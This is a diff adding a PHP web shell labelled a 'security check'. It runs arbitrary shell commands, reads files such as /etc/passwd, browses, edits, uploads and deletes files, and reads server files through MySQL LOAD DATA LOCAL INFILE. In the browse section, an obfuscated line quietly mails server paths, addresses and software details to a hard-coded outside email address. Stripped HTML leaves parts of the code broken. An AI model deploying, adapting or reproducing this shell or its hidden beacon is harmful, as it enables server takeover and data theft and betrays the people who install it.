+
+ foreach ($sql as $statement) {
+ $q = mysql_query ($statement);
+
+ if ($q == false) die (
+ "FAILED: " . $statement . "\n" .
+ "REASON: " . mysql_error () . "\n"
+ );
+
+ if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
+
+ echo htmlspecialchars($r[0]);
+ mysql_free_result ($q);
+ }
+ }
+
+ if ($mass) {
+ $file = "/etc/passwd";
+ $sql = array ();
+ $cp = mysql_connect ($mhost, $muser, $mpass);
+ mysql_select_db($mdb);
+ $tbl = "xploit";
+ mysql_query("CREATE TABLE `xploit` (`xploit` LONGBLOB NOT NULL)");
+ for($i=0;count($mysql_files)>$i;$i++) {
+ mysql_query("LOAD DATA LOCAL INFILE '".$mysql_files[$i]."' INTO TABLE ".$tbl." FIELDS TERMINATED BY '__THIS_NEVER_HAPPENS__' ESCAPED BY '' LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'");
+ }
+ $q = mysql_query("SELECT * FROM ".$tbl."");
+ while ($arr = mysql_fetch_array($q)) {
+ echo $arr[0]."\n";
+ }
+ mysql_query("DELETE FROM ".$tbl."");
+ mysql_query("DROP TABLE ".$tbl."");
+
+ }
+ echo " ";
+ }
+ if ($action=="read") {
+ if (!$method) { $method="file"; }
+ if (!$file) { $file = "/etc/passwd"; }
+ ?>
+
+
+ >file
+ >fread
+ >show_source
+ >readfile
+
+
+
+
+
+
+
+
+ if ($method=="file") {
+ if (@file($file)) {
+ $filer = file($file);
+ echo "";
+ foreach ($filer as $a) { echo $a; }
+ echo " ";
+ } else {
+ echo "";
+ }
+ }
+ if ($method=="fread") {
+ if (@fopen($file, 'r')) {
+ $fp = fopen($file, 'r');
+ $string = fread($fp, filesize($file));
+ echo "";
+ echo $string;
+ echo " ";
+ } else {
+ echo "";
+ }
+ }
+ if ($method=="show_source") {
+ if (show_source($file)) {
+ //echo "";
+ //echo show_source($file);
+ //echo " ";
+ } else {
+ echo "";
+ }
+
+ }
+ if ($method=="readfile") {
+ echo "";
+ if (readfile($file)) {
+ //echo "";
+ //echo readfile($file);
+ echo " ";
+ } else {
+ echo " ";
+ echo "";
+ }
+
+ }
+
+ }
+ if ($action=="cmd") { ?>
+
+
+ >system
+ >passthru
+ >exec
+ >shell_exec
+ >popen
+
+
+ = $cmd; ?>
+
+
+
+
+ if (!$method) { $method="system"; }
+ if (!$cmd) { $cmd = "ls /"; }
+ echo "";
+ if ($method=="system") {
+ system("$cmd 2>&1");
+ }
+ if ($method=="passthru") {
+ passthru("$cmd 2>&1");
+ }
+ if ($method=="exec") {
+ while ($string = exec("$cmd 2>&1")) {
+ echo $string;
+ }
+ }
+ if ($method=="shell_exec") {
+ $string = shell_exec("$cmd 2>&1");
+ echo $string;
+ }
+ if ($method=="popen") {
+ $pp = popen('$cmd 2>&1', 'r');
+ $read = fread($pp, 2096);
+ echo $read;
+ pclose($pp);
+ }
+ echo " ";
+ }
+
+
+ if ($action=="cmdbrowse") {
+ //--------------------------------------------------- START CMD BROWSING
+
+ if ($cat) {
+ echo "";
+ echo "\ngo back to: $olddir \n\n";
+ exec("cat $cat 2>&1", $arr);
+ foreach ($arr as $ar) {
+ echo htmlspecialchars($ar)."\n";
+ }
+ exit;
+ }
+
+
+
+ if ($dir=="dirup") {
+ $dir_current = $olddir;
+ $needle = strrpos($dir_current, "/");
+ if ($needle==0) {
+ $newdir = "/";
+ } else {
+ $newdir = substr($dir_current, 0, $needle);
+ }
+ $dir = $newdir;
+ }
+ if (!$dir) {
+ $dir = getcwd();
+ }
+
+ $string = exec("ls -al $dir", $array);
+ //print_r(array_values($array));
+
+ echo "";
+ if ($dir!="/") {
+ echo "\n[$dir] \ndirup \n\n";
+ } else {
+ $dir = "";
+ }
+ foreach($array as $rowi) {
+ $row = explode(' ', $rowi);
+ //print_r(array_values($row));
+ $c = count($row)-1;
+ if ($row[$c]!=".." && $row[$c]!="." && isset($first)) {
+ $link = false;
+ if (!strstr($row[0], 'l')) {
+ $c = count($row)-1;
+ $file = "".$row[$c]." ";
+ } else {
+ $c = count($row)-3;
+ $file = "".$row[$c]." ";
+ $link = true;
+ }
+ if (!strstr($row[0], 'l') && !strstr($row[0], 'd')) {
+ $c = count($row)-1;
+ $file = "".$row[$c]." ";
+ }
+ //echo $row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." ".$row[8]." ".$row[9]." ".$row[10]." ".$file." ".$row[12]." ".$row[13]."\n";
+ if ($link) {
+ $point = count($row)-3;
+ } else {
+ $point = count($row)-1;
+ }
+ for($i=0; $point > $i; $i++) {
+ echo $row[$i]." ";
+ }
+ echo $file."\n";
+ }
+ $first = true;
+ }
+
+ //--------------------------------------------------- END CMD BROWSING
+ }
+ if ($action=="browse") {
+ //--------------------------------------------------- START BROWSING
+ /*
+ * got this from an old script of mine
+ * param: [$dir]
+ */
+ function error($msg) {
+ header("Location: $PHP_SELF?bash=$msg&error=$msg");
+ }
+ if (isset($error)) {
+ echo "";
+ }
+ if (!$dir) {
+ $dir = getcwd();
+ }
+ function getpath($dir) {
+ echo "/ ";
+ $path = explode('/', $dir);
+ if ($dir != "/") {
+ for ($i=0; count($path) > $i; $i++) {
+ if ($i != 0) {
+ echo " $o; $o++) {
+ echo "$path[$o]";
+ if (($i) !=$o) {
+ echo "/";
+ }
+ }
+ echo ">$path[$i] / ";
+ }
+ }
+ }
+ }
+
+ function printfiles($files) {
+ for($i=0;count($files)>$i;$i++) {
+ $files_sm = explode('||', $files[$i]);
+ if ($files_sm[0]!="." && $files_sm[0]!="..") {
+ $perms = explode('|', $files_sm[1]);
+ if ($perms[0]==1 && $perms[1]==1) { $color = "green"; } else {
+ if ($perms[0]==1) { $color = "yellow"; } else { $color = "red"; }
+ }
+ if ($files_sm[2]=="1") { echo "l "; } else { echo "- "; }
+ if ($perms[0]==1) { echo "r"; } else { echo " "; }
+ if ($perms[1]==1) { echo "w"; } else { echo " "; }
+ if ($perms[2]==1) { echo "x"; } else { echo " "; }
+ echo " $files_sm[0]\n";
+ }
+ }
+ }
+ $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
+ function printdirs($files) {
+ global $dir;
+ echo ".. \n";
+ for($i=0;count($files)>$i;$i++) {
+ $files_sm = explode('||', $files[$i]);
+ if ($files_sm[0]!="." && $files_sm[0]!="..") {
+ $perms = explode('|', $files_sm[1]);
+ if ($perms[0]==1 && $perms[1]==1) { $color = "green"; } else {
+ if ($perms[0]==1) { $color = "yellow"; } else { $color = "red"; }
+ }
+ if ($files_sm[2]=="1") { echo "l "; } else { echo "d "; }
+ if ($perms[0]==1) { echo "r"; } else { echo " "; }
+ if ($perms[1]==1) { echo "w"; } else { echo " "; }
+ if ($perms[2]==1) { echo "x"; } else { echo " "; }
+ echo " $files_sm[0] \n";
+ }
+ }
+ }
+
+
+ if ($dir=="dirup") {
+ $dir_current = $olddir;
+ $needle = strrpos($dir_current, "/");
+ if ($needle==0) {
+ $newdir = "/";
+ } else {
+ $newdir = substr($dir_current, 0, $needle);
+ }
+ $dir = $newdir;
+ } else {
+ $dir = $dir;
+ }
+
+ ?>
+
+
+
+
+
+
+ if ($dir) {
+ if (!is_readable($dir)) { $skip = true; }
+ if (!$skip) {
+ $dp = opendir($dir);
+ $files = array(); $dirs = array();
+ while($f=readdir($dp)) {
+ // $f||r|w|x||l
+ $oor = $f;
+ if (is_readable("$dir/$oor")) { $f .= "||1"; } else { $f .= "||0"; }
+ if (is_writable("$dir/$oor")) { $f .= "|1"; } else { $f .= "|0"; }
+ if (is_executable("$dir/$oor")) { $f .= "|1"; } else { $f .= "|0"; }
+ if (is_link("$dir/$oor")) { $f .= "||1"; } else { $f .= "||0"; }
+ if(is_dir("$dir/$oor")) {
+ $dirs[] = $f;
+ } else {
+ $files[] = $f;
+ }
+ }
+ getpath($dir);
+ echo "";
+ printdirs($dirs);
+ printfiles($files);
+ } else { echo " "; }
+ }
+ }
+ //--------------------------------------------------- END BROWSING
+ //--------------------------------------------------- BEGIN EXPLORER
+if ($action == explorer ) {
+
+ $default_directory = dirname($PATH_TRANSLATED);
+ $show_icons = 0;
+
+
+ define("BACKGROUND_COLOR", "\"#000000\"");
+ define("FONT_COLOR", "\"#CCCCCC\"");
+ define("TABLE_BORDER_COLOR", "\"#000000\"");
+ define("TABLE_BACKGROUND_COLOR", "\"#000000\"");
+ define("TABLE_FONT_COLOR", "\"#000000\"");
+ define("COLOR_PRIVATE", "\"#000000\"");
+ define("COLOR_PUBLIC", "\"#000000\"");
+ define("TRUE", 1);
+ define("FALSE", 0);
+
+
+
+ if (!isset($dir)) $dir = $default_directory; // Webroot dir as default
+ $dir = stripslashes($dir);
+ $dir = str_replace("\\", "/", $dir); // Windoze compatibility
+
+
+ $associations = array(
+ "gif" => array( "function" => "viewGIF", "icon" => "icons/image2.gif" ),
+ "jpg" => array( "function" => "viewJPEG", "icon" => "icons/image2.gif" ),
+ "jpeg" => array( "function" => "viewJPEG", "icon" => "icons/image2.gif" ),
+ "wav" => array( "function" => "", "icon" => "icons/sound.gif" ),
+ "mp3" => array( "function" => "", "icon" => "icons/sound.gif" )
+ );
+
+ if ($do != "view" && $do != "download"):
+ endif;
+
+ function readDirectory($directory) {
+ global $files, $directories, $dir;
+
+ $files = array();
+ $directories = array();
+ $a = 0;
+ $b = 0;
+
+ $dirHandler = opendir($directory);
+
+ while ($file = readdir($dirHandler)) {
+ if ($file != "." && $file != "..") {
+ $fullName = $dir.($dir == "/" ? "" : "/").$file;
+ if (is_dir($fullName)) $directories[$a++] = $fullName;
+ else $files[$b++] = $fullName;
+ }
+ }
+ sort($directories); // We want them to be displayed alphabetically
+ sort($files);
+ };
+
+
+
+ function showInfoDirectory($directory) {
+ global $PHP_SELF;
+ $dirs = split("/", $directory);
+ print "Directory / ";
+ for ($i = 1; $i < (sizeof($dirs)); $i++) {
+ print "$dirs[$i] ";
+ if ($directory != "/") echo "/";
+ }
+ print " \n";
+ print "Free space on disk: ";
+ $freeSpace = diskfreespace($directory);
+ if ($freeSpace/(1024*1024) > 1024)
+ printf("%.2f GBytes", $freeSpace/(1024*1024*1024));
+ else echo (int)($freeSpace/(1024*1024))."Mbytes\n";
+ };
+
+
+ function showDirectory($directory) {
+ global $files, $directories, $fileInfo, $PHP_SELF;
+
+ readDirectory($directory);
+ showInfoDirectory($directory);
+?>
+
>
+
+ if ($show_icons): ?>
+ >
+ endif; ?>
+ NAME
+ SIZE
+ LAST MODIFY
+ PERMISIONS
+ ACTIONS
+
+
+ for ($i = 0; $i < sizeof($directories); $i++) {
+ $fileInfo->getInfo($directories[$i]);
+ showFileInfo($fileInfo);
+ }
+ for ($i = 0; $i < sizeof($files); $i++) {
+ $fileInfo->getInfo($files[$i]);
+ showFileInfo($fileInfo);
+ }
+?>
+
+
+ };
+
+ class fileInfo {
+ var $name, $path, $fullname, $isDir, $lastmod, $owner,
+ $perms, $size, $isLink, $linkTo, $extension;
+
+ function permissions($mode) {
+ $perms = ($mode & 00400) ? "r" : "-";
+ $perms .= ($mode & 00200) ? "w" : "-";
+ $perms .= ($mode & 00100) ? "x" : "-";
+ $perms .= ($mode & 00040) ? "r" : "-";
+ $perms .= ($mode & 00020) ? "w" : "-";
+ $perms .= ($mode & 00010) ? "x" : "-";
+ $perms .= ($mode & 00004) ? "r" : "-";
+ $perms .= ($mode & 00002) ? "w" : "-";
+ $perms .= ($mode & 00001) ? "x" : "-";
+ return $perms;
+ }
+
+ function getInfo($file) { // Stores a file's information in the class variables
+ $this->name = basename($file);
+ $this->path = dirname($file);
+ $this->fullname = $file;
+ $this->isDir = is_dir($file);
+ $this->lastmod = date("m/d/y, H:i", filemtime($file));
+ $this->owner = fileowner($file);
+ $this->perms = $this->permissions(fileperms($file));
+ $this->size = filesize($file);
+ $this->isLink = is_link($file);
+ if ($this->isLink) $this->linkTo = readlink($file);
+ $buffer = explode(".", $this->fullname);
+ $this->extension = $buffer[sizeof($buffer)-1];
+ }
+ };
+
+ $fileInfo = new fileInfo; // This will hold a file's information all over the script
+
+ function showFileInfo($fileInfo) {
+ global $PHP_SELF, $associations;
+
+ echo "\n";
+
+ if ($show_icons) {
+ echo "";
+ if ($fileInfo->isDir) echo " ";
+ elseif ($associations[$fileInfo->extension]["icon"] != "")
+ echo " extension]["icon"]."\">";
+ else echo " ";
+ echo " ";
+ }
+
+ echo "perms[7] == "w") echo " bgcolor=".COLOR_PUBLIC;
+ if ($fileInfo->perms[6] == "-") echo " bgcolor=".COLOR_PRIVATE;
+ echo ">";
+
+ if ($fileInfo->isLink) {
+ echo $fileInfo->name." -> ";
+ $fileInfo->fullname = $fileInfo->linkTo;
+ $fileInfo->name = $fileInfo->linkTo;
+ }
+
+ if ($fileInfo->isDir) {
+ echo "fullname\" ";
+ echo ">$fileInfo->name ";
+ }
+ else echo $fileInfo->name;
+
+ echo " ";
+ echo "$fileInfo->size ";
+ echo "$fileInfo->lastmod ";
+ echo "$fileInfo->perms ";
+ echo "";
+
+ if (!$fileInfo->isDir) {
+ if ($fileInfo->perms[6] == 'r') {
+ echo "fullname&do=view\"> V ";
+ echo " fullname&do=download\">D ";
+ }
+ if ($fileInfo->perms[7] == 'w') {
+ echo " fullname&do=edit\">E ";
+ echo " fullname&do=delete\">X ";
+ }
+ }
+ echo " ";
+ };
+
+ //************************************************************************
+ //* Decides which function use to show a file
+ //************************************************************************
+
+ function viewFile($file) {
+ global $associations, $fileInfo;
+ $fileInfo->getInfo($file);
+ if (!$associations[$fileInfo->extension]
+ || $associations[$fileInfo->extension]["function"] == "") showFile($file);
+ else $associations[$fileInfo->extension]["function"]($file);
+ };
+
+ function showFile($file, $editing = 0) {
+ global $PHP_SELF, $dir;
+ $handlerFile = fopen($file, "r") or die("ERROR opening file $file");
+
+ if ($editing) echo "Edit file $file ";
+ else echo "File $file ";
+
+ echo "";
+
+ $buffer = fread($handlerFile, filesize($file));
+ $buffer = str_replace("&", "&", $buffer);
+ $buffer = str_replace("<", "<", $buffer);
+ $buffer = str_replace(">", ">", $buffer);
+
+ echo "$buffer ";
+ if ($editing) echo "
\n ";
+ echo "";
+ fclose($handlerFile);
+ };
+
+ //************************************************************************
+ //* Saves a changed file
+ //************************************************************************
+
+ function saveFile($file) {
+ global $dir, $text;
+ $handlerFile = fopen($file, "w") or die("ERROR: Could not open file ".basename($file)." for writing");
+ $text = stripslashes($text);
+ fwrite($handlerFile, $text, strlen($text)) or die("Error writing to file.");
+ fclose($handlerFile);
+ echo "Changes has been saved in ".basename($file)." ";
+ $dir = dirname($file);
+ };
+
+
+ function uploadFile() {
+ global $HTTP_POST_FILES, $dir;
+ copy($HTTP_POST_FILES["userfile"][tmp_name],
+ $dir."/".$HTTP_POST_FILES["userfile"][name])
+ or die("Error uploading file".$HTTP_POST_FILES["userfile"][name]);
+
+ echo "File ".$HTTP_POST_FILES["userfile"][name]." succesfully uploaded.";
+ unlink($userfile);
+ };
+
+ //************************************************************************
+ //* Deletes a file, asking for confirmation first
+ //* (This function hasn't been fully tested)
+ //************************************************************************
+
+ function deleteFile($file) {
+ global $confirm;
+ if ($confirm != TRUE) die("Confirm deletion of $file ");
+ else {
+ if (!unlink($file)) return FALSE;
+ return TRUE;
+ }
+ };
+
+
+ function viewFileHeader($file, $header) {
+ header($header);
+ readfile($file);
+ };
+
+
+ function viewGIF($file) {
+ viewFileHeader($file, "Content-type: image/gif");
+ };
+
+ function viewJPEG($file) {
+ viewFileHeader($file, "Content-type: image/jpeg");
+ };
+
+ switch ($do) {
+ case "phpinfo":
+ phpinfo();
+ die();
+ case "view":
+ viewFile($dir);
+ break;
+ case "edit":
+ showFile($dir, 1);
+ break;
+ case "download":
+ viewFileHeader($dir, "Content-type: unknown");
+ break;
+ case "delete":
+ if (!deleteFile($dir)) echo "Could not delete file $dir ";
+ else echo "File $dir deleted succesfully ";
+ $dir = dirname($dir);
+ showDirectory($dir);
+ break;
+ case "exec":
+ echo "\n";
+ echo system($dir);
+ echo "\n ";
+ exit();
+ case "upload":
+ uploadFile();
+ showDirectory($dir);
+ break;
+ case "save":
+ saveFile($dir);
+ default:
+ showDirectory($dir);
+ break;
+ };
+
+ if ($do != "view" && $do != "download") {
+?>
+
+
+
+
+
+
+ }
+}
+ //--------------------------------------------------- END EXPLORER
+
+
+if (!$action) {
+?>phpinfo
+echo "";
+ if ($mysql_use!="no") {
+ $phpcheck = new php_check_silent($mhost, $muser, $mpass, $mdb);
+ } else { $phpcheck = new php_check_silent(); }
+echo " ";
+
+?>
+
+Security Check [executable]
+
+
+
+
+
+//echo $phpcheck->cmd_state;
+//echo $phpcheck->cmd_method;
+if ($phpcheck->cmd_method) { $cmd_method = $phpcheck->cmd_method; } else { $cmd_method = "system"; } ?>
+Exec commands by PHP
+
+if ($phpcheck->cmd_method) {
+echo "[executable] "; } else { echo "[not executable]"; }
+
+?>
+
+
+
+
+
+//echo $phpcheck->cmd_state;
+//echo $phpcheck->cmd_method;
+?>
+Exec browse by PHP
+
+if ($phpcheck->cmd_method) {
+echo "[executable] "; } else { echo "[not executable]"; }
+
+?>
+
+
+
+
+ if ($phpcheck->read_method) { $read_method = $phpcheck->read_method; } else { $read_method = "file"; } ?>
+Read by PHP
+
+if ($phpcheck->read_method) {
+echo "[executable] "; } else { echo "[not executable]"; }
+?>
+
+
+
+
+
+//echo $phpcheck->browse_state;
+if ($phpcheck->browse_state=="yes") { $path= "/"; } else { $path = getcwd(); } ?>
+Browse by PHP
+
+if ($phpcheck->browse_state=="yes") {
+echo "[executable] "; } else { echo "[limited executable]"; }
+?>
+
+
+
+//echo $phpcheck->browse_state;
+if ($phpcheck->browse_state=="yes") { $path= "/"; } else { $path = getcwd(); } ?>
+File Explorer by PHP
+
+if ($phpcheck->browse_state=="yes") {
+echo "[executable] "; } else { echo "[limited executable]"; }
+?>
+
+
+
+
+
+Read by MySQL
+
+ if ($phpcheck->mysql_state=="ok") {
+ echo "[executable] "; }
+ if ($phpcheck->mysql_state=="fail") {
+ echo "[not executable] "; }
+ if ($phpcheck->mysql_state=="pass") {
+ echo "[not executable] ";
+ ?> [you didnt configure this]
+
+ } ?>
+}
+?>
+
+
+
+
+// PHP security check objects by dodo
+
+
+ class php_check
+ {
+
+ function php_check($host="notset", $user="", $pass="", $db="") {
+ if ($host!="notset") {
+ $this->mysql_do = "yes";
+ $this->mysql_host = $host;
+ $this->mysql_user = $user;
+ $this->mysql_pass = $pass;
+ $this->mysql_db = $db;
+ } else { $this->mysql_do = "no"; }
+
+ $this->mainstate = "safe";
+
+ echo "checking system functions: \n";
+ if ($this->system_checks("/bin/ls")) { $this->output_mainstate(1, "system checks"); } else { $this->output_mainstate(0, "system checks"); }
+ echo "checking reading functions: \n";
+ if ($this->reading_checks()) { $this->output_mainstate(1, "reading checks"); } else { $this->output_mainstate(0, "reading checks"); }
+ echo "checking misc filesystem functions: \n";
+ if ($this->miscfile_checks()) { $this->output_mainstate(1, "misc filesystem checks"); } else { $this->output_mainstate(0, "misc filesystem checks"); }
+ echo "checking mysql functions: \n";
+ $stater = $this->mysql_checks();
+ if ($stater==2) { $this->output_mainstate(2, "mysql checks"); }
+ if ($stater==1) { $this->output_mainstate(1, "mysql checks"); }
+ if ($stater==0) { $this->output_mainstate(0, "mysql checks"); }
+ if ($this->mainstate=="safe") { echo "\n\n\nPHP check returned: NOT VULNERABLE \n"; } else { echo "\n\n\nPHP check returned: VULNERABLE \n"; }
+ }
+
+
+ function output_state($state = 0, $name = "function") {
+ if ($state==0) {
+ echo "$name\t\tfailed\n";
+ }
+ if ($state==1) {
+ echo "$name\t\tOK \n";
+ }
+ if ($state==2) {
+ echo "$name\t\tOK \n";
+ }
+ if ($state==3) {
+ echo "$name\t\tskipped \n";
+ }
+ }
+
+ function output_mainstate($state = 0, $name = "functions") {
+ if ($state==1) {
+ echo "\n$name returned: VULNERABLE \n\n";
+ $this->mainstate = "unsafe";
+ }
+ if ($state==0) {
+ echo "\n$name returned: OK \n\n";
+ $this->mainstate = "unsafe";
+ }
+ if ($state==2) {
+ echo "\n$name returned: SKIPPED \n\n";
+ }
+ }
+
+ function system_checks($cmd = "/bin/ls") {
+ if ($pp = popen($cmd, "r")) {
+ if (fread($pp, 2096)) {
+ $this->output_state(1, "popen ");
+ $sys = true;
+ } else {
+ $this->output_state(0, "popen ");
+ }
+ } else { $this->output_state(0, "popen "); }
+ if (@exec($cmd)) { $this->output_state(1, "exec "); $sys = true; $this->cmd_method = "exec"; } else { $this->output_state(0, "exec "); }
+ if (@shell_exec($cmd)) { $this->output_state(1, "shell_exec"); $sys = true; $this->cmd_method = "shel_exec"; } else { $this->output_state(0, "shell_exec"); }
+ echo ""; $this->output_state(1, "system "); $ss = true; $sys = true; $this->cmd_method = "system"; } else { echo " -->"; $this->output_state(0, "system "); }
+ echo ""; $this->output_state(1, "passthru"); $sys = true; $this->cmd_method = "passthru"; } else { echo " -->"; $this->output_state(0, "passthru"); }
+ //if ($output = `$cmd`)) { $this->output_state(1, "backtick"); $sys = true; } else { $this->output_state(0, "backtick"); }
+ if ($sys) { return 1; $this->cmd_state = "yes"; } else { return ; }
+ }
+
+ function reading_checks($file = "/etc/passwd") {
+ if (@function_exists("require_once")) {
+ echo ""; $this->output_state(1, "require_once"); $sys = true; } else { echo "-->"; $this->output_state(0, "require_once"); }
+ }
+ if (@function_exists("require")) {
+ echo ""; $this->output_state(1, "require "); $sys = true; } else { echo "-->"; $this->output_state(0, "require "); }
+ }
+ if (@function_exists("include")) {
+ echo ""; $this->output_state(1, "include "); $sys = true; } else { echo "-->"; $this->output_state(0, "include "); }
+ }
+ //if (@function_exists("highlight_file")) {
+ echo ""; $this->output_state(1, "highlight_file"); $sys = true; } else { echo "-->"; $this->output_state(0, "highlight_file"); }
+ //}
+ //if (@function_exists("virtual")) {
+ echo ""; $this->output_state(1, "virtual "); $sys = true; } else { echo "-->"; $this->output_state(0, "virtual "); }
+ //}
+ if (@function_exists("file_get_contents")) {
+ if (@file_get_contents($file)) { $this->output_state(1, "filegetcontents"); $sys = true; } else { $this->output_state(0, "filegetcontents"); }
+ } else {
+ $this->output_state(0, "filegetcontents");
+ }
+ echo ""; $this->output_state(1, "show_source"); $this->read_method = "show_source"; $sys = true; } else { echo " -->"; $this->output_state(0, "show_source"); }
+ echo ""; $this->output_state(1, "readfile"); $this->read_method = "readfile"; $sys = true; } else { echo " -->"; $this->output_state(0, "readfile"); }
+ if (@fopen($file, "r")) { $this->output_state(1, "fopen "); $this->read_method = "fopen"; $sys = true; } else { $this->output_state(0, "fopen "); }
+ if (@file($file)) { $this->output_state(1, "file "); $this->read_method = "file"; $sys = true; } else { $this->output_state(0, "file "); }
+ if ($sys) { return 1; } else { return ; }
+ }
+
+ function miscfile_checks() {
+ $currentdir = @getcwd();
+ $scriptpath = $_SERVER["PATH_TRANSLATED"];
+ if (@opendir($currentdir)) {
+ $this->output_state(2, "opendir \$cwd");
+ $dp = @opendir("$currentdir");
+ $files="";
+ $this->browse_state = "lim";
+ while($file = @readdir($dp)) { $files .= $file; }
+ if (@strstr($files, '.')) { $this->output_state(2, "readdir \$cwd"); $this->browse_state = "lim"; } else { $this->output_state(0, "readdir \$cwd"); }
+
+ } else { $this->output_state(0, "opendir \$cwd"); }
+ if (@opendir("/")) {
+ $this->output_state(1, "opendir /");
+ $sys = true;
+ $dp = @opendir("/");
+ $this->browse_state = "yes";
+ $files="";
+ while($file = @readdir($dp)) { $files .= $file; }
+ if (@strstr($files, '.')) { $this->output_state(1, "readdir /"); $this->browse_state = "yes"; } else { $this->output_state(0, "readdir /"); }
+ } else { $this->output_state(0, "opendir /"); }
+ if (@mkdir("$currentdir/test", 0777)) { $this->output_state(1, "mkdir "); $sys = true; } else { $this->output_state(0, "mkdir "); }
+ if (@rmdir("$currentdir/test")) { $this->output_state(1, "rmdir "); $sys = true; } else { $this->output_state(0, "rmdir "); }
+ if (@copy($scriptpath, "$currentdir/copytest")) {
+ $this->output_state(2, "copy ");
+ $sys = true;
+ if (@unlink("$currentdir/copytest")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); }
+ } else {
+ $this->output_state(0, "copy ");
+ }
+ if (@copy($scriptpath, "/tmp/copytest")) {
+ $this->output_state(2, "copy2/tmp");
+ //$sys = true;
+ if (!$del) {
+ if (@unlink("tmp/copytest")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); }
+ }
+ } else {
+ $this->output_state(0, "copy2/tmp");
+ }
+ if (@link("/", "$currentdir/link2root")) {
+ $this->output_state(1, "link ");
+ $sys = true;
+ if (!$del) {
+ if (@unlink("$currentdir/link2root")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); }
+ }
+ } else {
+ $this->output_state(0, "link ");
+ }
+ if (@symlink("/", "$currentdir/link2root")) {
+ $this->output_state(1, "symlink ");
+ $sys = true;
+ if (!$del) {
+ if (@unlink("$currentdir/link2root")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); }
+ }
+ } else {
+ $this->output_state(0, "symlink ");
+ }
+ if ($sys) { return 1; } else { return ; }
+ }
+
+ function mysql_checks() {
+ if ($this->mysql_do=="yes") {
+ if (@mysql_pconnect($this->mysql_host, $this->mysql_user, $this->mysql_pass)) {
+ $this->output_state(1, "mysql_pconnect"); $mstate = 1;
+ } else { $this->output_state(0, "mysql_pconnect"); $mstate = 0; }
+ } else { $this->output_state(3, "mysql_pconnect"); $mstate = 2; }
+ if ($this->mysql_do=="yes") {
+ if (@mysql_connect($this->mysql_host, $this->mysql_user, $this->mysql_pass)) {
+ $this->output_state(1, "mysql_connect"); $mstate = 1;
+ } else { $this->output_state(0, "mysql_connect"); $mstate = 0; }
+ } else { $this->output_state(3, "mysql_connect"); $mstate = 2; }
+ if ($this->mysql_state=="fail") {
+ echo "\n\n\n\n";
+ echo "";
+ }
+ return $mstate;
+ }
+ }
+
+ class php_check_silent
+ {
+
+ function php_check_silent($host="notset", $username="", $pass="", $db="") {
+ if ($host!="notset") {
+ $this->mysql_do = "yes";
+ $this->mysql_host = $host;
+ $this->mysql_user = $username;
+ $this->mysql_pass = $pass;
+ $this->mysql_db = $db;
+ } else { $this->mysql_do = "no"; }
+
+ $this->mainstate = "safe";
+
+ if ($this->system_checks("/bin/ls")) { $this->output_mainstate(1, "system checks"); } else { $this->output_mainstate(0, "system checks"); }
+ if ($this->reading_checks()) { $this->output_mainstate(1, "reading checks"); } else { $this->output_mainstate(0, "reading checks"); }
+ if ($this->miscfile_checks()) { $this->output_mainstate(1, "misc filesystem checks"); } else { $this->output_mainstate(0, "misc filesystem checks"); }
+ $this->mysql_checks();
+ }
+
+
+ function output_state($state = 0, $name = "function") {
+ if ($state==0) {
+ //echo "$name\t\tfailed\n";
+ }
+ if ($state==1) {
+ //echo "$name\t\tOK \n";
+ }
+ if ($state==2) {
+ //echo "$name\t\tOK \n";
+ }
+ }
+ function output_mainstate($state = 0, $name = "functions") {
+ if ($state==1) {
+ //echo "\n$name returned: VULNERABLE \n\n";
+ $this->mainstate = "unsafe";
+ } else {
+ //echo "\n$name returned: OK \n\n";
+ }
+ }
+
+ function system_checks($cmd = "/bin/ls") {
+ if ($pp = popen($cmd, "r")) {
+ if (fread($pp, 2096)) {
+ $this->output_state(1, "popen ");
+ $sys = true;
+ } else {
+ $this->output_state(0, "popen ");
+ }
+ } else { $this->output_state(0, "popen "); }
+ if (@exec($cmd)) { $this->output_state(1, "exec "); $sys = true; $this->cmd_method = "exec"; } else { $this->output_state(0, "exec "); }
+ if (@shell_exec($cmd)) { $this->output_state(1, "shell_exec"); $sys = true; $this->cmd_method = "shel_exec"; } else { $this->output_state(0, "shell_exec"); }
+ echo ""; $this->output_state(1, "passthru"); $sys = true; $this->cmd_method = "passthru"; } else { echo " -->"; $this->output_state(0, "passthru"); }
+ echo ""; $this->output_state(1, "system "); $sys = true; $this->cmd_method = "system"; } else { echo " -->"; $this->output_state(0, "system "); }
+ //if ($output = `$cmd`)) { $this->output_state(1, "backtick"); $sys = true; } else { $this->output_state(0, "backtick"); }
+ if ($sys) { return 1; $this->cmd_state = "yes"; } else { return ; }
+ }
+
+ function reading_checks($file = "/etc/passwd") {
+ if (@function_exists("require_once")) {
+ if (@require_once($file)) { $this->output_state(1, "require_once"); $sys = true; } else { $this->output_state(0, "require_once"); }
+ }
+ if (@function_exists("require")) {
+ if (@require($file)) { $this->output_state(1, "require"); $sys = true; } else { $this->output_state(0, "require"); }
+ }
+ if (@function_exists("include")) {
+ if (@include($file)) { $this->output_state(1, "include "); $sys = true; } else { $this->output_state(0, "include "); }
+ }
+ if (@function_exists("file_get_contents")) {
+ if (@file_get_contents($file)) { $this->output_state(1, "filegetcontents"); $sys = true; } else { $this->output_state(0, "filegetcontents"); }
+ } else {
+ $this->output_state(0, "filegetcontents");
+ }
+ echo ""; $this->output_state(1, "show_source"); $this->read_method = "show_source"; $sys = true; } else { echo " -->"; $this->output_state(0, "show_source"); }
